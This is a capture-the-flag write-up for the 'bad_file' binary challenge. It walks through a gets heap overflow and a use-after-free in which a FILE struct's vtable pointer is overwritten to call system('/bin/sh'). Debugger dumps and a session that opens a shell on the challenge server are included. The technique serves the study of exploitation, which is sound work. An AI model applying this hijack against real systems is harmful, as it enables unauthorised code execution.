# bad_file
This writeup goes out to my friend and the person who made this challenge the man the myth the legend himself, noopnoop.
Let's take a look at the binary:```$	file bad_file bad_file: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=2f17700ec82063187dc67e7ac0f76345fbbd3c20, not stripped$	pwn checksec bad_file [*] '/Hackery/swamp/bad_file/bad_file'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)$	./bad_file Would you like a (1) temporary name or a (2) permanent name?115935728Hello, 15935728 (for now)I created a void for you, and this can let you practice some sorceryYou're in danger, you'll need a new name.75395128Now let's send some magic to the void!!Segmentation fault (core dumped)```
So we can see that we are dealing with a 64 bit binary without RELRO or PIE. When we run the binary it prompts us for several inputs before crashing.
### Reversing
When we take a look at the IDA disassembly, we see this:```int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  FILE *stream; // ST08_8@4  void *heapPtr; // [sp+0h] [bp-50h]@1  char buf; // [sp+10h] [bp-40h]@1  char ptr; // [sp+20h] [bp-30h]@4  __int64 v7; // [sp+48h] [bp-8h]@1
  v7 = *MK_FP(__FS__, 40LL);  heapPtr = malloc(0x250uLL);  setbuf(_bss_start, 0LL);  puts("Would you like a (1) temporary name or a (2) permanent name?");  read(0, &buf, 2uLL);  if ( buf == '1' )    temp_name(heapPtr);  else    perm_name();  stream = fopen("/dev/null", "rw");  puts("I created a void for you, and this can let you practice some sorcery");  puts("You're in danger, you'll need a new name.");  read(0, heapPtr, 0x160uLL);  puts("Now let's send some magic to the void!!");  fread(&ptr, 1uLL, 8uLL, stream);  puts(&ptr);  puts("I hope the spell worked!");  exit(0);}```
So we see it starts off my allocating the `0x250` byte chunk `heapPtr` with malloc. Proceeding that it passes it prompts us for input. If we input a `1` it runs the `temp_name` function with the argument `heapPtr`. If we input anything else it runs `perm_name` with the argument `heapPtr` (even though the disassembly doesn't show it). After that it opens up the file `/dev/null`. Proceeding that we are able to scan `0x160` bytes into the space pointed to by `heapPtr`. After that it scans in 8 bytes of data from the file object which should be `/dev/null` into the char buffer `ptr`. Following that it prints the contents of `ptr`. Let's take a look at the `perm_name` and `temp_name` functions:
```void __fastcall temp_name(void *heapPtr){  gets(heapPtr);  printf("Hello, %s (for now)\n");  free(heapPtr);}```
```int perm_name(heapPtr){  gets(heapPtr);  return printf("Hello, %s!\n");}```
These functions are pretty similiar. They both scan in input to the heap pointer `heapPtr` with `gets` (which will allow us to overflow it), and then prints the contents of `heapPtr`. The difference is `temp_name` frees the heap pointer after printing it's contents, which we can then scan data into later. This is a use after free bug. 
### Exploiting
So we have a heap overflow bug with gets, and a use after free. For the heap overflow bug I initially wanted to see if I could overflow the buffer right up to an address and then leak it with the printf call. However there was one problem with that:
```gef➤  x/80g 0x6020100x602010: 0x0 0x00x602020: 0x0 0x00x602030: 0x0 0x00x602040: 0x0 0x00x602050: 0x0 0x00x602060: 0x0 0x00x602070: 0x0 0x00x602080: 0x0 0x00x602090: 0x0 0x00x6020a0: 0x0 0x00x6020b0: 0x0 0x00x6020c0: 0x0 0x00x6020d0: 0x0 0x00x6020e0: 0x0 0x00x6020f0: 0x0 0x00x602100: 0x0 0x00x602110: 0x0 0x00x602120: 0x0 0x00x602130: 0x0 0x00x602140: 0x0 0x00x602150: 0x0 0x00x602160: 0x0 0x00x602170: 0x0 0x00x602180: 0x0 0x00x602190: 0x0 0x00x6021a0: 0x0 0x00x6021b0: 0x0 0x00x6021c0: 0x0 0x00x6021d0: 0x0 0x00x6021e0: 0x0 0x00x6021f0: 0x0 0x00x602200: 0x0 0x00x602210: 0x0 0x00x602220: 0x0 0x00x602230: 0x0 0x00x602240: 0x0 0x00x602250: 0x0 0x00x602260: 0x0 0x20da1```
Here is a look at the memory region of `heapPtr` which points to `0x602010` (and a bit past where it ends). The issue is other than the top chunk (`0x20da1` specifies how much space is left unallocated in the heap) there is nothing but zeroes in are of the heap our overflow can reach. That couple with the fact the only thing left that happens to the heap in terms of allocating/freeing memory is a single free to `heapPtr`, we can't use this bug for anything other than a DOS. 
So that just leaves us with the use after free. However when we look into that, we see something interesting:
```────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007fffffffde00│+0x0000: 0x0000000000602010  →  0x00007ffffbad2488  ← $rsp0x00007fffffffde08│+0x0008: 0x00000000000000000x00007fffffffde10│+0x0010: 0x0000000000000a31 ("1"?)0x00007fffffffde18│+0x0018: 0x0000000000400a0d  →  <__libc_csu_init+77> add rbx, 0x10x00007fffffffde20│+0x0020: 0x00000000000000000x00007fffffffde28│+0x0028: 0x00000000000000000x00007fffffffde30│+0x0030: 0x00000000004009c0  →  <__libc_csu_init+0> push r150x00007fffffffde38│+0x0038: 0x0000000000400740  →  <_start+0> xor ebp, ebp──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x400938 <main+123>       mov    esi, 0x400ab5     0x40093d <main+128>       mov    edi, 0x400ab8     0x400942 <main+133>       call   0x400710 <fopen@plt> →   0x400947 <main+138>       mov    QWORD PTR [rbp-0x48], rax     0x40094b <main+142>       mov    edi, 0x400ac8     0x400950 <main+147>       call   0x400680 <puts@plt>     0x400955 <main+152>       mov    edi, 0x400b10     0x40095a <main+157>       call   0x400680 <puts@plt>     0x40095f <main+162>       mov    rax, QWORD PTR [rbp-0x50]──────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "bad_file", stopped, reason: BREAKPOINT────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400947 → main()─────────────────────────────────────────────────────────────────────────────────────────────────────gef➤  p $rax$1 = 0x602010gef➤  x/x $rax0x602010: 0xfbad2488```
We can see that the `fopen` call returns the heap pointer `0x602010`, which is where it stores information regarding the file. We can see with the `read` call (or really anywhere in the main function), that it overlaps directly with `heapPtr`:
```──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x400963 <main+166>       mov    edx, 0x160     0x400968 <main+171>       mov    rsi, rax     0x40096b <main+174>       mov    edi, 0x0 →   0x400970 <main+179>       call   0x4006d0 <read@plt>   ↳    0x4006d0 <read@plt+0>     jmp    QWORD PTR [rip+0x200972]        # 0x601048        0x4006d6 <read@plt+6>     push   0x6        0x4006db <read@plt+11>    jmp    0x400660        0x4006e0 <__libc_start_main@plt+0> jmp    QWORD PTR [rip+0x20096a]        # 0x601050        0x4006e6 <__libc_start_main@plt+6> push   0x7        0x4006eb <__libc_start_main@plt+11> jmp    0x400660──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────read@plt (   $rdi = 0x0000000000000000,   $rsi = 0x0000000000602010 → 0x00007ffffbad2488,   $rdx = 0x0000000000000160,   $rcx = 0x00007ffff7b042c0 → <__write_nocancel+7> cmp rax, 0xfffffffffffff001)──────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "bad_file", stopped, reason: BREAKPOINT────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400970 → main()─────────────────────────────────────────────────────────────────────────────────────────────────────gef➤  x/x $rbp-0x500x7fffffffde00: 0x00602010```
Here we can see both where `heapPtr` belongs in the stack, and the argument for the read call is `0x602010` which is the same pointer for the file struct. This happened because malloc will reuse previously freed memory chunks for performance reasons (if the memory sizes are correct, which in this case they are). As a result we can directly overwrite the file struct. 
This is my first time dealing with a file struct exploit. At first I tried reversing the `fopen` and `fread` functions to figure out if there was a way I could somehow change which file it would read from (or really change anything that would benefit us). After a bit I tried changing various of the file struct, which is when I found something intersting. Here is the file struct after it has been allocated:
```gef➤  x/44g $rax0x602010: 0x00007ffffbad2488  0x00000000000000000x602020: 0x0000000000000000  0x00000000000000000x602030: 0x0000000000000000  0x00000000000000000x602040: 0x0000000000000000  0x00000000000000000x602050: 0x0000000000000000  0x00000000000000000x602060: 0x0000000000000000  0x00000000000000000x602070: 0x0000000000000000  0x00007ffff7dd25400x602080: 0x0000000000000003  0x00000000000000000x602090: 0x0000000000000000  0x00000000006020f00x6020a0: 0xffffffffffffffff  0x00000000000000000x6020b0: 0x0000000000602100  0x00000000000000000x6020c0: 0x0000000000000000  0x00000000000000000x6020d0: 0x0000000000000000  0x00000000000000000x6020e0: 0x0000000000000000  0x00007ffff7dd06e00x6020f0: 0x0000000000000000  0x00000000000000000x602100: 0x0000000000000000  0x00000000000000000x602110: 0x0000000000000000  0x00000000000000000x602120: 0x0000000000000000  0x00000000000000000x602130: 0x0000000000000000  0x00000000000000000x602140: 0x0000000000000000  0x00000000000000000x602150: 0x0000000000000000  0x00000000000000000x602160: 0x0000000000000000  0x0000000000000000```
Here is everything we can reach with out overflow (`0x160 / 8 = 44`). When `fread` is called, there is a function `_IO_sgetn` that is called on our input.
```gef➤  disas _IO_sgetnDump of assembler code for function __GI__IO_sgetn:   0x00007ffff7a88700 <+0>: mov    rax,QWORD PTR [rdi+0xd8]   0x00007ffff7a88707 <+7>: mov    rax,QWORD PTR [rax+0x40]   0x00007ffff7a8870b <+11>:  jmp    raxEnd of assembler dump.```
In this case the register `rdi` holds a pointer to the file struct. Here it dereferences `rdi+0xd8` (which in our case would be the value stored at `0x6020e8` which is `0x00007ffff7dd06e0`). Then the instruction pointer stored at that address `+0x40` is then moved into the `rax` register, and then executed via a jump (in our case `0x00007ffff7dd06e0 + 0x40 = 0x7ffff7dd0720`). We can see that the function which should be executed is `_IO_file_jumps`:
```gef➤  x/i 0x00007ffff7dd06e0   0x7ffff7dd06e0 <_IO_file_jumps>: add    BYTE PTR [rax],al``` 
So we can see that we can overwrite a pointer which is dereferenced to get an instruction pointer, and then executed. We will use this to get code execution. However the pointer is at offset `0xd8`, so we have to overwrite several different pointers which could cause issues. To figure this out I just overwrote the values of pointers one by one to see if they would cause us issues. Turns out only one of them do cause issues, and it's nothing major. It's the pointer stored at offset `0xa0` (it's `0x602100` at `0x6020b0`).
```───────────────────────────────────────────────────────────────────── stack ────0x00007fff456d8010│+0x0000: 0x0000000000400b40  →  "Now let's send some magic to the void!!"   ← $rsp0x00007fff456d8018│+0x0008: 0x00000000000000000x00007fff456d8020│+0x0010: 0x00007fff456d8090  →  0x00000000004009c0  →  <__libc_csu_init+0> push r150x00007fff456d8028│+0x0018: 0x0000000000400740  →  <_start+0> xor ebp, ebp0x00007fff456d8030│+0x0020: 0x00007fff456d8170  →  0x00000000000000010x00007fff456d8038│+0x0028: 0x000000000040099c  →  <main+223> lea rax, [rbp-0x30]0x00007fff456d8040│+0x0030: 0x0000000000704010  →  0x0068732f6e69622f ("/bin/sh"?)0x00007fff456d8048│+0x0038: 0x0000000000704010  →  0x0068732f6e69622f ("/bin/sh"?)─────────────────────────────────────────────────────────────── code:x86:64 ────   0x7fc49f4fc4b0 <fread+80>       lock   cmpxchg DWORD PTR [r8], esi   0x7fc49f4fc4b5 <fread+85>       jne    0x7fc49f4fc4bf <fread+95>   0x7fc49f4fc4b7 <fread+87>       jmp    0x7fc49f4fc4d5 <fread+117> → 0x7fc49f4fc4b9 <fread+89>       cmpxchg DWORD PTR [r8], esi   0x7fc49f4fc4bd <fread+93>       je     0x7fc49f4fc4d5 <fread+117>   0x7fc49f4fc4bf <fread+95>       lea    rdi, [r8]   0x7fc49f4fc4c2 <fread+98>       sub    rsp, 0x80   0x7fc49f4fc4c9 <fread+105>      call   0x7fc49f589c50   0x7fc49f4fc4ce <fread+110>      add    rsp, 0x80─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "bad_file", stopped, reason: SIGSEGV───────────────────────────────────────────────────────────────────── trace ────[#0] 0x7fc49f4fc4b9 → fread()[#1] 0x40099c → main()────────────────────────────────────────────────────────────────────────────────gef➤  p $r8$1 = 0x400000gef➤  vmmapStart              End                Offset             Perm Path0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery/swamp/bad_file/bad_file0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /Hackery/swamp/bad_file/bad_file0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /Hackery/swamp/bad_file/bad_file
.   .   .```
Here we can see that the value we overwrote at offset `0xa0` to be `0x400000` is causing a crash (the reason why it is an address, is because earlier that value is derefereced, so if it isn't an address it would of causes a crash). Here it is running the `cmpxchg` instruction which compares the two operands, and if they aren't equal the contents of the second argument are moved into the first. The issue here is that the memory region `0x400000` is in is not writeable, so it crashes when it tries to write to it. To solve this I just looked through the memory region starting at `0x601000` for an eight byte segment that was equal to `0x0` (since without our hacking that's what the value is). Since there isn't `pie` I know the address before the binary runs, and since the region is writeable I can write to it no problem.
So with that, it just leaves us with our final problem. What value will we overwrite the pointer to an instruction pointer with to get code execution. There is a `hidden_alleyway` function which would print the flag, however due to the lack of infoleaks I couldn't find a way to get a pointer to it's address. Luckily for us the GOT table has system in it. So to get a shell I just overwrote the pointer at offset `0xd8` with the got address of `system - 0x40` (we need the `-0x40` to counter the `+0x40`). Then when it dereferences that pointer, and jumps to an instruction pointer it will call system. 
The last thing we need is to pass the argument `/bin/sh` to the function `system` (which takes a char pointer as an argument). Luckily for us the first argument is passed in the `rdi` register, which at the time of the jump is a pointer to the freed `heapPtr` (and due to the overlap, `stream` too). So we just have to set the first eight bytes of our input equal to `/bin/sh\x00` (we need the null byte in there to seperate it from the rest of the input) to pass the argument `/bin/sh` to system.
### Exploit Code
With all of this, we can write the exploit:
```$   python exploit.py [+] Opening connection to chal1.swampctf.com on port 2050: DoneWould you like a (1) temporary name or a (2) permanent name?Hello, 15935728 (for now)I created a void for you, and this can let you practice some sorceryYou're in danger, you'll need a new name.[*] Switching to interactive mode
Now let's send some magic to the void!!$ w 23:24:24 up 8 days, 48 min,  0 users,  load average: 0.00, 0.01, 0.00USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT$ lsbad_fileflag.txt$ cat flag.txtflag{plz_n3v3r_f1l3_4ft3r_fr33!}```
Just like that we captured the flag!   